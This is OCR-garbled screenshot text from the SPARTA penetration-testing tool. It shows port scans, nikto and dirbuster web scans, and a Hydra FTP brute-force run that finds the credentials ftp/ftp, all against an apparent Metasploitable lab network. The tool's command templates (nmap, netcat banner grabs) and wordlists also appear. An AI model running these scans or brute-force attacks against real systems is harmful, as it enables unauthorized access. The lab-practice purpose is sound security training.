ap13 ® 1721669128 8180  tep open Apache Tomeat/Coyote JSP engine 1.1
distced
domain
drb
exer
p
irc
login
mountd
mysql
nethios-ns.
netbios-ssn
nfs
nlockmgr =
Log
Progress Tool Host Start time End time
I screenshot (B180/tcp) 172.16.69.128 30 Mar 2017 10:53:23 30 Mar 2017 10:53:23  Finished
I hikto (81804tcp) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:54:12  Finished
IR x11screen (6000/tcp) 172.16.69.128 30 Mar 2017 1053:17 30 Mar 2017 10:53:26  Finished
I ftp-default (2121/tcp) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:53:24  Finished
I nmap (stage 5) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:55:49  Finished

Status
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File Help
Scan | Brute
Hosts  Services

Tool

mysql-default

nikto
postgres-default
screenshooter
smitp-enum-vrfy

x11screen

Progress

Tools

Target

172.16.65.128

Tool
screenshot (8180/tcp)
nikto (8180/tep)
«11screen (6000/tcp)
Ftp-default (2121/tcp)

nmap (stage 5)

2121ftep

Host
172.16.69.128
172.16.69.128
172.16.69.128
172.16.69.128
172.16.69.128

Hydra v&.3 (¢} 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes

Hydra {nttp/fwww.th.org/thc-hydra) starting at 2017-03-30 10:53:03

[DATA] max 10 tasks per 1 server, overall 64 tasks, 10 login tries, =0 tries per task
[DATA] attacking service ftp on port 21

[21]fftp] host: 172.16.69.126 login: ftp password: ftp

[STATUS] attack finished for 172.16.69.128 (valid pair found)

1 0f 1 target successfully completed, 1 valid password found

Hydra {http:/iwww the org/the-hydra) finished at 2017-03-30 10:53:04

Start time End time Status
30 Mar 2017 10:53:23 30 Mar 2017 10:53:23  Finished
30 Mar 2017 10:53:17 30 Mar 2017 10:54:12  Finished
30 Mar 2017 10:53:17 30 Mar 2017 10:53:26  Finished
30 Mar 2017 10:53:17 30 Mar 2017 10:5

;24 Finished
30 Mar 2017 10:53:17 30 Mar 2017 10:55:49  Finished
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File Help
Scan | Brute

Hosts Services | Tools

Target Port

Tool
fip-defautt 172.16.69.128 B180ftep

mysql-default
nikto Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]lmetasploit.com

postgres-default

Login with msfadmin/msfadmin te get started

smitp-enum-vrfy

- TWik
x11screen = phpMyAdmin

= Mutillidae

« DVWA

* WebDAWV

Log
Progress Tool Host Start time End time Status

I screenshot (B180/cp) 172.16.69.128 30 Mar 2017 10:53:23 30 Mar 2017 10:53:23  Finished
I hikto (81804tcp) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:54:12  Finished
IR x11screen (6000/tcp) 172.16.69.128 30 Mar 2017 1053:17 30 Mar 2017 10:53:26  Finished
I ftp-default (2121/tcp) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:53:24  Finished
I nmap (stage 5) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:55:49  Finished
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File Help

Scan | Brute
Hosts  Services  Tools ¥(BO/cp) = screenshot (B0ftcp) (1 smtp-enum-wify (25/tcp) (1 mysql-default (3306/tcp) (=1 | postgres-default (5432/tcp) = fip-default (21/tcp) = | fip-default (2121/cp) (=) «.‘
os Host Hydra v&.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Progress

Hydra (http/fwww.thc.org/thc-hydra) starting at 2017-03-30 10:53:17

[DATA] max 10 tasks per 1 server, overall 64 tasks, 10 login tries, ~0 tries per task
[DATA] attacking service ftp on port 2121

1 of 1 target completed, O valid passwords found

Hydra (http/fwaww.the.orgithe-hydra) finished at 2017-03-30 10:53:24

b L
Tool Host Start time End time
screenshot (8180/tcp) 172.16.69.128 30 Mar 2017 10:53:23 30 Mar 2017 10:53:23  Finished
nikto (B180/tcp) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:54:12  Finished
«11screen (6000/tcp) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:53:26  Finished
ftp-default {2121itcp) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:53:24  Finished
nmap (stage 5) 172.16.69.128 30 Mar 2017 10:53:17 30 Mar 2017 10:55:49  Finished

Status
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File Help
Scan  Brute

1@

P [1721669.128) | Port [2121

B Try blank password B Try login as password (@ Loop around users

Username

Password | password

Progress

root

Tool
screenshot (8180/tcp)
nikto (8180/tcp)
«11screen (6000/tcp)
ftp-default (2121/tcp)

nmap (stage 5)

Service | ftp

Username list

Password list

Host
172.16.69.128
172.16.69.128
172.16.69.128
172.16.69.128
172.16.69.128

v Run

& Exit on first valid

Verbose Additional Options

Browse | @ Found usernames

Browse | @ Found passwords

Start time
30 Mar 2017 10:53:23
30 Mar 2017 10:53:17
30 Mar 2017 10:53:17
30 Mar 2017 10:53:17
30 Mar 2017 10:53:17

End time
30 Mar 2017 10:53:23
30 Mar 2017 10:54:12
30 Mar 2017 10:53:26
30 Mar 2017 10:53:.24
30 Mar 2017 10:55:49

Finished
Finished
Finished
Finished

Finished

Status

Threads

16
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b| \E“EH share ” wordlists H metasploitl

Places

Q, Search

#) Recently Used
0 sparta

i root

B Desktop

| File System

Name

rservices_from_users.txt

sap_common.txt

sap_default.txt

sap_icm_paths.txt

scada_default_userpass.ixt

sensitive_files.txt

sensitive _files _win.txt
sid.txt

snmp_default_pass.txt
titp.txt

tomcat_mgr_default_pass.txt

tomcat_mgr_default_userpass.ixt

tomcat_mgr_default_users.ixt

unix_passwords.txt

B unix_users.txt

vnc_passwords. txt

wxworks_collide _20.txt

wxworks_common_20.txt

v Size Modified *
36 bytes  Friday
117 bytes Friday
448 bytes Friday
13.7kB  Friday
816 bytes Friday
206 bytes Friday
176 bytes Friday

38KkB  Friday
839 bytes  Friday
34kB  Friday

47 bytes  Friday
132 bytes Friday
'37bytes Friday
7.9KkB  Friday
773 bytes

9 bytes EFriday
'575.9kB  Friday
1229.9kB  Friday

Cancel H Open
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Port (2121 b ftp v Run

d B Trylogin as password 8 Loop around wsers [ Exit on first valid [ Verbose () Additional Optio

@ Usem e users.txt| | Browse
@ Fassword list Inix_passwords.tet| | Browse Found passwon Threads |16 ¥
1 Hauser/ THC organizations, or for lllegal purposes.
110 tries per task
Log
Progress Taol Host End time Status
30 Mar 2017 11:05. Finished

30 Mar X

I hydea (212

1shot {

Finished -

File Edit View Search Terminal Help
web-services="http,https,ssl,soap,http-proxy,http-alt,https-alt”
enable-scheduler=False

enable-scheduler-on- 1mpurt =False

[BruteSettings]
store-cleart
username-wordl

5 ,afp,cisco, -enable, cvs, firebird, ftp, ftps tp-head, http-get, https-head, https-get,http-get-form,http-post-form,ht
-form,https-post-form, http-proxy, http-p urlenum icq, imap,imaps,irc, ldap2, ldap2s, 1dap3, 1dap\,.1dap3 ammd5, 1dap3- crammd5s, 1d
tmd5, ldap3- dxqe,tmd5< mssql,mysql,ncp, nntp oracle-listener,oracle-sid, pcanywhere, penfs, pop3, pop3s s, post gres,rdp, re ,rlogin,rs
,:LD,:Wb,:mtp smtps, smtp-enum, snmp, 5,ssh, sshkey, svn, teamspeak, telnet, telnets, vmauthd, vnc, xmpp"
isco,cisco-enable
‘oracle-s

' 5060"
81-109,112- 154 IJE 8, 140-442,444,446-1432,1434-2048, 2 3390-5431,5433-8079,8081-29999"

_Laﬁeﬁ-pulta

[ToolSettings]
h=/u

pt
fpad

Run nmap (fast TCP), nmap -Pn -F -T4 -

nmap - -
== INSERT -
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Add host(s) to scope o

1P Range [172.16.60.024] |

e e

| Gncet |
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File Help

Scan | Brute
Hosts | Services Tools Services | Scripts Information Notes

0s Host
172.16.69.128
172.16.69.129
172.16.69.130
172.16.69.132
172.16.69.133
172.16.69.136
172.16.69.139

0O OO O® O OO

172.16.69.254

Log

Progress Tool Host Start time End time Status

i amap (discovery) 172.16.69.0/24 29 Mar 2017 12:08:49 29 Mar 2017 12:08:51  Finished

Hosts | Services Tools Services = Scripts Information Notes
os Host
© 172.16.69.1
7 HAT216:69.12%
Portscan B Run unicornscan (full UDP)
172.16.69.1 o
- k\hﬁ as checked Run nmap (top 1000 quick UDP)
@ 17216.69.15 | Run nmap (full UDP)
© 172.16.69.131 Run nmap (full TCP)
© 172.16.69.132 Run nmap (fast UDP)
© 172.16.69.133 Run nmap (fast TCP)
@ 1771669136 = Run nmap (staged)
Y

File Edit View Search Terminal Help
:~# fping 172.16.69.1360
172.16.69.130 is alive
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File Edit View Search Terminal Help

stagel-por 180,443

stage2-por T:25,135,137,139,445,1433,3306,5432,U: 137,161,162, 1434"
stage3-ports="T:23,21,22,110,111,2049,3389,86080,0:500,5660"
staged-ports="T:

9,8681-29999"

stage5-ports=T:30000-65535

[ToolSettings]
r/bin/nmap
fusr/bin/hydra
cutycapt-path=/usr/bin/cutycapt
texteditor-path=/usr/bin/leafpad

[HostActions]
nmap-fast-tcp=Run nmap (fast TCP), nmap -Pn -F -T4 -vvvv [IP] -oA \"[OUTPUT]\"

nmap-full-tcp=Run nmap (full TCP), nmap -Pn -sV -sC -0 -p- -T4 -vvvvv [IP] -oA \"[OUTPUT]\"
nmap - fast-uc un nmap (fast UDP), "nmap -n -Pn -sU -F --min-rate=1000 - vv [IP] -oA \"[OUTPUT]\""
nmap - -16 n nmap (top 1000 qu UDP), "nmap -n -Pn -sU --min-rate=1008 -vvwvv [IP] -oA \"[OUTPUT]\""
nmap - - nmap (full UDP), nmap -n -Pn -sU -p- -T4 -wwwvv [IP] -oA \"[OUTPUT]\"
unicornscan-Tull-udp=Run unicornscan (full UDP), unicornscan -mU -Ir 1000 [IP]:a -v
fping=Run fping, fping [IP]

[PortActions]
banner=Grab banner, bash -c \"echo \"\" | nc -v -n -wl [IP] [PORTJ\",
nmap=Run nmap (scripts) on port, nmap -Pn - -wvvvv -p[PORT] [IP] -oA [OUTPUT],

nikte=Run nikto, nikto -o \"[OQUTPUT].txt\" -p [PORT] -h [IP], "http,https,ssl,soap,http-proxy,http-alt”
dirbuster=Launch dirbuster, java -Xmx256M -jar /usr/share/dirbuster/DirBuster-1.8-RC1.jar -u http://[IP]:[PORT]/, "http,ht

tps,ssl,soap,http-proxy,http-alt”

File Help

Scan | Brute
Hosts | Services Tools Services Scripts Information Notes fping =

os Host 172.16.69.130 is alive
@ 17216.69.1

@ 17216.69.128

©@ 17216.69.129

©@ 17216.69.132

@ 172.16.69.133

@ 17216.69.136

@ 172.16.69.139

@ 17216.69.254

LY
Log
Progress Tool Host Start time End time
I fping 172.16.69.130 29 Mar 2017 12:16:15 29 Mar 2017 12:16:15
I nmap (discovery) 172.16.69.0/24 29 Mar 2017 12:08:49 29 Mar 2017 12:08:51

Finished

Finished

Status
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k SPARTA 1.0.2 (BETA) - sparta-scan.sprt - /root/ (- O )
File Help

Scan | Brute

Hosts | Services Tools Services | Scripts | Information  Notes

os Host
@ 172.16.69.1

Run unicornscan (full UDP)

©@ 172166 ok as checked Run nmap (top 1000 quick UDF)
(7] | | p (full UD
(%) p (full TCP)
Run nmap (fast UDP)
© 172.166 \ /
Run nmap (fast TCP)
® 17216 33
Run nmap (stas
@ 172 1AR913A v

File Edit View Search Terminal Help

ore-cl -p
username-wordlist
rd-wordli

-form,http-po
mmd5s, 1

p (fast UDP), "nmap -n -
18 qu UDP), "nmi
nmap (full UDP), nmap -n -Pn -sU - -T4 [IP] -oA \"[
n (full UDP), un -Ir 1066 [IP]:

- echo -wl [IP] [PORTI\",
port, nmap -Pn p[PORT] [IP] -oA [OUTPUT],
" 113L, 8e42C
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SPARTA 1.0.2 (BETA) - sparta-scan.sprt - /root/ (- C -]
File Help

Scan | Brute

Hosts | Services Tools Services | Scripts  Information Notes

0os Host
@ 17216691

178
hping3 (stealth scan) |

© Portscan .
@ 172166¢
Mark as checked
@ 1721669151
@ 172.16.69.132
@ 1721669.133
@ 172.1669.136
@ 172.16.69.139
@ 172.16.69.254
File Help
Scan | Brute
Hosts | Services = Tools Services Scripts Information Notes hping3 (=l
os Hast 2049nfs  :S.A.64 05840 46
2121prop  :S.A. 64 0 5840 46
© 172.1669.1 3306 mysql  :.5.A. 64 0 5840 46

3632distec :.5.A. 64 0 5840 46
5432 postgresql: S.A.. 64 0 5840 46

17
172.16.69.129 5900 S.A. 64 05840 46

7
©® 172.1669.130 6000 x11 :S.A. 64 05840 46

6667 ircd :.5.AL 64 0 5840 46
© 1721665.131 6697 ircs-u  :.S.A. 64 0 5840 46
@ 1721669132 8009 :5.A.. 64 0 5840 46

8180 :.5.A.. 64 0 5840 46
) LRI EE 8787 S.A. 64 05840 46
@ 172.16.69.136 40492 :.5.A. 64 0 5840 46

51402 :S.AL 64 0 5840 46
@ 1721669.139 51414 ©SA. 64 DS5BAD 46
@ 172.16.69.254 60928 :.S.A. 64 0 5840 46

Not respending ports:

: All replies received. Done.
&
Log
Progress Tool Host Start time End time Status

I fping3 172.16.69.128 02 Apr 2017 11:19:02 02 Apr 2017 11:19:06  Finished
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File Edit View Search Terminal Help

nmap -Pn -

Run nmap (scrip
un nikto, nikto -o
Launch dirb

http-get, https

nscan -mu

1 [IP] [PORT]
-p[PORT] [IP] -oA [OUTPUT],

-h [IP], "http,https,ssl

mtps, smtp-enu

File Help

Scan | Brute

Hosts  Services Tools

os Host

@ 172

es  Scripts  Information

SPARTA 1.0.2 (BETA) - sparta-scan.sprt - /root/

Notes hping3
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File Help

Scan | Brute
Hosts | Services  Tools Services = Scripts Information Notes hping3 (= | dmitry-connect @
os Host ‘
ERROR: Unable to locate Host Name for 172.16.65.128
@ 17216691

Continuing with limited modules
HostlP:172.16.65.128

HostName:
@ 17216.69.129
@ 172.16.69.130 Gathered TCP Port information for 172.16.69.128
@ wz2.eso1nn ([T
@ 1711669.132 Fort State
@ 1721669133 2hep open
© 17216.69.136 22/tep open
23/tcp open
@ 172.16.69.139 25iep open
@ 17216.69.254 S53ftcp open
80/ep open
111/tcp open
139/tep open
Portscan Finished: Scanned 150 ports, 141 ports were in state closed
H\ % All scans completed, exiting
(5] (B ,
Log
Progress Tool Host Start time End time Status
I dmitry-connect 172.16.69.128 02 Apr 2017 11:25:57 02 Apr 2017 11:25:57  Finished
Hosts  Services Tools Services  Seripts  Information  Motes  smtp-enum-wify (25/tcp) [z nikto (80/tcp) 1 nikto (443/tcp) (1 smbenum (445/tcp) (=1 screenshot (80/tcp) (= L4
0s Host Port Protocol State Name Version
@ 17216691
@ 1721669128
Open with netcat
? 1 9 ® 135 rpc
@ 1721669130 ® 139 Send to Brute blos-ssn
© 1721669.131 @ a3 LA ps
@ 1721669132 @ 445 Rurs g (scripss).an pudt rosoft-ds
172.16.69.133 1025 Grab banner S-or-IIS
° : - Enumerate SMTP users (VRFY) s
@ 1721669.136 @ 3389 Enumerate SMTP users (RCPT) pwbt-serv
@ 1721669.139 Enumerate SMTP users (EXPN)

® 1721669254
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Hosts | Services  Tools s | Scripts  Information  Notes  smtp-enum-vrfy (25/tcp) nikto nikto (443/tcp) smbenum (445/1cp) screenshot (80/tcp) L
0s Host Port Protocol State Name Version
7] 13 open
@ 1721669131 @ 443 tep open
@ 1721669132 @ 445 open
©@ 1721669133 & 1025 tcp open
(7] 3BS p open

n por
w
(2] nch webslayer
ster
Grab banne
5
File Edit View 5earch Terminal Help

0-5431,5433-8079,8081-29

C nmap -Pn
nmap-full-t un nmap (full TCP), nmap -Pn
nmap-fast-ud nmap | t UDP), "nmap

ap-udp- ) ) U
nmap - T'uLI udp Run

v A
-mU -Ir 106 [IP]:a -

-p[PORT] [IP] -oA [OUTPUT],
-h [IP], "http,ht L,soap,http-prox
b D -1 PORT]/, "http

p,https,ssl,soap, http-pro: -
color: --log-brief=\"[OUTPUT].txt\ "http,https,ssl,soap,http-p
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Hosts | Services Tools

0s Host

@ 17216:69.1

© 1721669128
172.16. 29

© 1721669130
@ 1721660131
@ 1721669132
@ 1721660133
© 1721669136

@ 17216:69.139

Services | Scripts | Information Motes banner (25/tcp) @ screenshot (443/tcp) = screenshot (80/tcp) 1 smbenum (445/tcp) 1 nikto (443/t <
Port Protocol State Name Version
® 25 tcp open smtp
BO tcp open hitp
hping3 (stealth scan) open ferpc
dmitry (connect scan) SHpem petiios s
open https
Portscan . open microsoft-ds
Mark as checked open NFS-or-IIS
@ 3389 tep open ms-wht-serv.

© 1721669254
a
File Help
Scan | Brute
Hosts | Services Tools whot (443/tcp) 1 screenshot (80ftep) 1 smbenum (445/tcp) (= nikto (443/tcp) 0 | nikto (80/tcp) smtp-enum-vrfy (25/tcp) 1 | snmp & | 4| =
os Host 150.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 70 Stepping 1 AT/AT COMPATIBLE - Software: Windows 2000 Version 5.1 (Build 2600 -
Uniprocessor Free)” I
) G i50.3.6.1.2.1.1.2.0 = OID: is0.3.6.1.4.1.311.1.1.3.1.1
@ 1721669.128 i50.3.6.1.2.1.1.3. imeticks: (53223121) 6 days, 3:50:31.21
Is0.3.6.1.2.1.1.4. =
150.3.6.1.2.1.1.5.0 = STRING: "DEMOX™
@ 172.16.69.130 i50.3.6.1.2.1.1.6.
i50.3.6.1.2.1.1.7.0 = INTEGER: 76
O HHEREY i50.3.6.1.2.1.2.1.0 = INTEGER: 3
@ 17216.69.132 150.3.6.1.2.1.2.2.1.1.1 = INTEGER: 1
150.3.6.1.2.1.2.2.1.1.2 = INTEGER: 2
o 150.3.6.1.2.1.2.2.1.1.196612 = INTEGER: 196612
@ 17216.69.136 i50.3.6.1.2.1.2.2.1.2.1 = Hex-STRING: 4D 53 20 54 43 50 20 4C 6F 6F 70 62 61 63 6B 20
69 6E 74 65 72 66 61 63 65 00
D R 150.3.6.1.2.1.2.2.1.2.2 = Hex-STRING: 41 4D 44 20 50 43 4E 45 54 20 46 61 6D 69 6C 79
@ 17216.69.254 20 50 43 49 20 45 74 68 65 72 6E 65 74 20 41 64
6170 7465 72 20 2D 20 50 61 63 6B 65 74 20 53
63 68 6564 75 6C 65 72 20 4D 69 6E 69 70 6F 72
74 00
= i50.3.6.1.2.1.2.2.1.2.196612 = Hex-STRING: 42 6C 75 65 74 6F 6F 74 68 20 44 65 76 69 63 65
_'ﬂ\‘li 20 28 50 65 72 73 6F 6E 61 6C 20 41 72 65 61 20 L3
Log
Progress Tool Host Start time End time Status
T snmp 172.16.69.129 02 Apr 2017 13:52:32 02 Apr 2017 13:52:33  Finished
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File Edit View Search Terminal Help

ap, http-p
letbios-ss

enum. sh
[1ey, =

enum) ,

-t [IP] -p [PORTI,
t (1) -p

t
(t Tl

ploit- 1 t -t [IP] -p [PORTI],
1

ta t i
ftp-default-u: . ) - [IP] ftp, ftp

1

File Help
Scan | Brute
Hosts Services Tools Services | Scripts  Information | Notes smb-vuln (445/tcp) 0 snmp (= banner (25/tcp) @  screenshot (443/tcp) =  screenshot (80 <(»
Port Protocol State Name Version
@ 25 tcp open smtp
@ 80 tep ope! http
@ 135 tcp open msrpc
@ 139 tcp open netbios-ssn
@ 443 open https
(7] wep open microsoft-ds
© 172.16.69.133 5 tcp open NF5-or-lIS
© 172.16.69.136 @ 3389 tcp open ms-whbt-serv.

Log
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Scan | Brute
Hosts | Services Tools (443/tcp) =1 (80/tep) = (445/tcp) =  nikto (443/tcp) = nikto (80/tcp) = smtp-enum-wrfy (25/tcp) @ smb-wuln (445/tcp)
as Host Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-02 14:36 EDT -
@ 17216691 NSE: Loaded 1 scripts for scanning.

NSE: Script Pre-scanning.
@ 17216.69.128 NSE: Starting runlevel 1 (of 1) scan
Initiating NSE at 14:36
Completed NSE at 14:36, 0.00s elapsed
172.16.69.130 Initiating ARP Ping Scan at 14:36

Scanning 172.16.69.129 [1 port]
172.16.69.131

Completed ARP Ping Scan at 14:36, 0.01s elapsed (1 total hosts)
172.16.69.132 Initiating Parallel DNS resolution of 1 host. at 14:36

Completed Parallel DNS resolution of 1 host. at 14:36, 13.00s elapsed
DNS5 resolution of 1 IPs took 13.00s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, 5F: 0. TR: 3, CN: 0]

@
@
@
@ 17216.69.133
@
7]
@

172.16.69.136 Initiating SYN Stealth Scan at 14:36
Scanning 172.16.69.129 [1 port]
172.16.69.139
Discovered open port 445/tcp on 172.16.65.129
172.16.69.254 Completed SYN Stealth Scan at 14:36, 0.00s elapsed (1 total ports)

NSE: Seript scanning 172.16.69.129,
NSE: Starting runlevel 1 (of 1) scan

Initiating NSE at 14:36

Completed NSE at 14:36, 0.02s elapsed

Nmap scan report for 172.16.68.129

Host is up, received arp-response (0.00034s latency)
Scanned at 2017-04-02 14:36:00 EDT for 145

[%)(%) | |porT statEsERvice  Reason :
Log
Progress Tool Host Start time End time Status
D smib-vuln (445/1ep) 172.16.69.129 02 Apr 2017 14:36:00 02 Apr 2017 14:36:14  Finished
Hosts | Services Tools Services | Scripts  Information  Notes  screenshot (80/tcp) =1 x1lscreen (6000/tcp) =) postgres-default (5432/tcp) & mysql-default (3306/tcp) ] smbenum (445, « -\
os Host Part. Protocol State Name Version
172.16.69.1 ® 21 tep open fip
e 2 tep open ssh
@ 1721669129 . 2 tep open telnet
@ 1721669130 ® 15 tep open smtp
172.16.69.131 @ 53 tep open domain
@ 1721669132 "
Open with telnet
@ 1721669133 ® 111 tep
Open with netcat
@ 1721669136 ® 139 tcp -5sn
Send to Brute
@ 1721669.139 @ 445 tep ift-ds
Oy b
@ 1721669254 ® 513 wp Chiaidbegad
e Take screenshot
L » Run whatweb
® 049 e Run nmap {scripts) on port
e 2121 tep Run nikto -ftp
® 3306 ] Launch webslayer
5 Launch dirbuster
|8 ][] | @ 5432 tcp sql "

Grab banner
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Scan | Brute

Hosts | Services Tools reenshot (80/tep) (= x1lscreen (6000/tep) (-1 postgres-default (5432/tep) (= mysql-default (3306/tcp) (- smbenum (445/tcp) () 'nlktn{EUR:p] & smtp-enum-vrfy (25/tcp) (= :}j
os Haost - Nikto v2.1.6
@ 17216691

+ Target P: 172.16.65.128
+ Target Hostname:  172.16.69.128
+TargetPor: 80

s + Start Time: 2017-04-02 13:38:34 (GMT-4)
172.16.69.130
172.16.69.131 + Server: Apache/2.2.8 (Ubuntu) DAV/2

+ Retrieved x-powered-by header: PHP/5. 2.4- 2ubuntu$. 10
172.16.69.132 + The anti-clickjacking X-Frame-Options header is not present
+ The X-X55-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

@
L]
2]
@
L]
2]
a
L]

LAY + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

172.16.69.136 + Uncommon header ‘tcn’ found, with contents: st

172.16.69.139 + Apache mod is enabled with . which allows attackers to easily brute force file names. See hitp://www.wisec it/sectou.php?id=4698ebdc59d15. The following
alternatives for ‘index’ were found: index.

172.16.69.254 + Apache/2.2.8 appears to be cutdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.

+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.

+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+ Iphpinfo php7VARIABLE = escript>alert (Vulnerable')</script=: Output from the phpinfo) function was found

+ OSVDB-3268: /doc/: Directory indexing found.

+ OSVDB-48: /doc/: The /doc/ directory is browsable. This may be Jusridoc.

+ OSVDB-12184: /?=PHPBEBSF2A0-3C92-11d3-A3A9-4CTB0BC10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVD8-12184: /7=PHPEIS6EF 36-D428-11d2-AT69-D0AADO1ACF4 2: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ 0OSVDB-12184: /?=PHPEIS6EF34-D428-11d2-A769-D00AABOIACFA2: PHP reveals potentially sensitive information via certain HTTP requests that contain specific GUERY strings.
+ OSVDB-12184: /?=PHPEQS6EF35-D426-11d2-AT69-D0AACOIACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3092: /phpMyAdminichangelog.php: phpMyAdmin is for managing MySQL databases, and should be protected or limited to authorized hosts.

+ Server leaks inodes via ETags, header found with file /phpMyAdmin/Changelog, inode: 92462, size: 40540, mtime: Tue Dec 9 12:24:00 2008

.Qsl ‘&\ + OSVDB-3092: /phpMyAdmin/ChangeLog: phpMyAdmin is for managing MySOL databases, and should be protected or limited to authorized hosts. -
Log
Progress Tool Host Start time End time Status
I screenshot (B180/tcp) 172.16.69.128 03 Apr 2017 07:23:49 03 Apr 2017 07:23:49  Finished
I nikto {B180/tcp) 172.16.69.128 03 Apr 2017 07:23:43 03 Apr 2017 07:24:32  Finished
I 1 1screen (S000/cp) 172.16.69.128 03 Apr 2017 07:23:43 03 Apr 2017 07:23:48  Finished
I ftp-default (2121/tcp) 172.16.69.128 03 Apr 2017 07:23:43 03 Apr 2017 07:23:50  Finished
DT ap (stage 5) 172.16.69.128 03 Apr 2017 07:23:43 Running
I fip-default (21/tcp) 172.16.69.128 03 Apr 2017 07:23:29 03 Apr 2017 07:23:30  Finished
I nmap (stage 4) 172.16.69.128 03 Apr 2017 07:23:29 03 Apr 2017 07:23:43  Finished ,

[305 ]



File Help

Scan | Beute

Hosts | Services Tools Services | Scripts  Information  Notes  screenshot (B0/tep) = xllscreen (6000/tep) (= postgres-default (5432/tep) (-1 mysql-default (3306/tep) (-]  smbenum (345/tcp) (=)  nikte
os Haost Secript Port

@ 17216681 Supported Methods: GET HEAD POST OPTIONS

http-server-.. 80/tcp

@ 17216.68.129 http-titie BO/tcp
@ 1721669130
@ 1721660131
@ 172.16.68.132
@ 1721669133
@ 1721669136
@ 17216.68.139
@ 171.16.69.254
9
Log
Progress Tool Host Start time End time Status
I screenshot (80/tcp) 172.16.69.128 03 Apr 2017 07:27:06 03 Apr 2017 07:27:06  Finished
I nikto {B0/tcp) 172.16.69.128 03 Apr 2017 07:27:04 03 Apr 2017 07:27:23  Finished
I nmap (80/1cp) 172.16.69.128 03 Apr 2017 07:26:44 03 Apr 2017 07:27:04  Finished
N screcnshot (B1800tcp) 172.16.69.128 03 Apr 2017 07:23:49 03 Apr 2017 07:23:49  Finished
I nikto {B180/tcp) 172.16.69.128 03 Apr 2017 07:23:43 03 Apr 2017 07:24:32  Finished
I 1 1screen (S000/cp) 172.16.69.128 03 Apr 2017 07:23:43 03 Apr 2017 07:23:48  Finished
I ftp-default (21217ep) 172.16.69.128 03 Apr 2017 07:23:43 03 Apr 2017 07:23:50  Finished =
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Target URL (eg http:/fexample.com:80/)
http://172.16.69.128:80/

Work Method () Use GET requests only (+) Auto Switch (HEAD and GET)

Mumber Of Threads =Gz 1 10 Threads [ | Go Faster

Select scanning type: (%) List based brute force (0 Pure Brute Force

File with list of dirsffiles

jusrisharefwordlists/dirbuster/directory-list-2, 3-small.txt | [@g Browsei [ @ List Info ]

Char set |a-zA-Z0-9%20-_ -| Min length Max Length

Select starting options: (=) Standard start point () URL Fuzz

Brute Force Dirs Be Recursive Dir to start with |f |
Brute Farce Files []Use Blank Extension File extensien |php |

URL to fuz - ftest.html?url={dir}.asp

[ |

Please complete the test details
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Scan | Brute

Hosts | Services Tools «lt (2121ftep) 1m  xllscreen (6000/tcp) = nikto (8180/tcp) (=)  screenshot (8180/tcp) (=1 mikto (80Vtcp) (1 screenshot (80/tep) (1 webslayer (BO/tcp) (= | dirbuster (BDitcp) & _-:-
Starting OWASP DirBuster 1.0-RC1 I

Starting dir/file list based brute forcing

Dir found: /index/ - 200

e Dir found: / - 200
@ 172.1669.130
Dir found: feqi-binf - 403
L) oy File found: /index php - 200
@ 172.16.68.132 Dir found: ficons/ - 200
Dir found: /wik/ - 200
L) il Dir found: /phpMyAdmind - 200
@ 1721669136
@ 1721669.139 Dir found: fmutillidae/ - 200
@ 171.16.69.254 Dir found: fdvwal - 302
Dir found: fdavi - 200
Dir found: fmutillidae/images/ - 200
File found: /phpMyAdmin/index php - 200
Apr 03, 2017 7:33:20 AM org.apache commans. httpclient HttpMethodBase processCookieHeaders
WARNING: Cookie rejected: "$Version=0; pma_| i 2%25; SPath=/phpMy phpr. lllegal path attribute "/phpMyAdmin/index.php/”. Path of origin: "/phpMyAdmin/index’™
Apr 03, 2017 7:33:20 AM org.apache commans. httpclient HttpMethodBase processCookieHeaders
WARNING: Cookie rejected: "$Version=0; pma_collation_connec phpMy; .phps”. llegal path attribute */phpMyAdmindindex.php/”. Path of origin:
*fphpMyAdmin/index™
[ L e | \E\ Apr 03, 2017 7:33:20 AM org.apache.commans.httpclient HttpMethodBase processCookieHeaders -
Log
Start time End time Status 3
I dirbuster (80/tcp) 172.16.69.128 03 Apr 2017 07:28:47 03 Apr 2017 07:3205  Finished
I vebslayer (B0/tcp) 172.16.69.128 03 Apr 2017 07:28:34 03 Apr 2017 07:28:34  Crashed
I screenshot (80/tcp) 172.16.69.128 03 Apr 2017 07:27:06 03 Apr 2017 07:27:06  Finished
I nikto {B0/tcp) 172.16.69.128 03 Apr 2017 07:27:04 03 Apr 2017 07:27:23  Finished
I nmap (80/tcp) 172.16.69.128 03 Apr 2017 07:26:44 03 Apr 2017 07:27:04  Finished
I screcnshot (B1B0Vep) 172.16.69.128 03 Apr 2017 07:23:49 03 Apr 2017 07:23:49  Finished ,
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Scan | Beute
Hosts  Services Tools screen (6000/tcp) =) nikto (B1B0Mcp) (= screenshot (8180/tcp) (= nikto (BOMcp) (x1  screenshot (BO0/tcp) =] webslayer (80/tcp) (=) dirbuster (BO0ftcp) () whatweb (B0/tcp) &
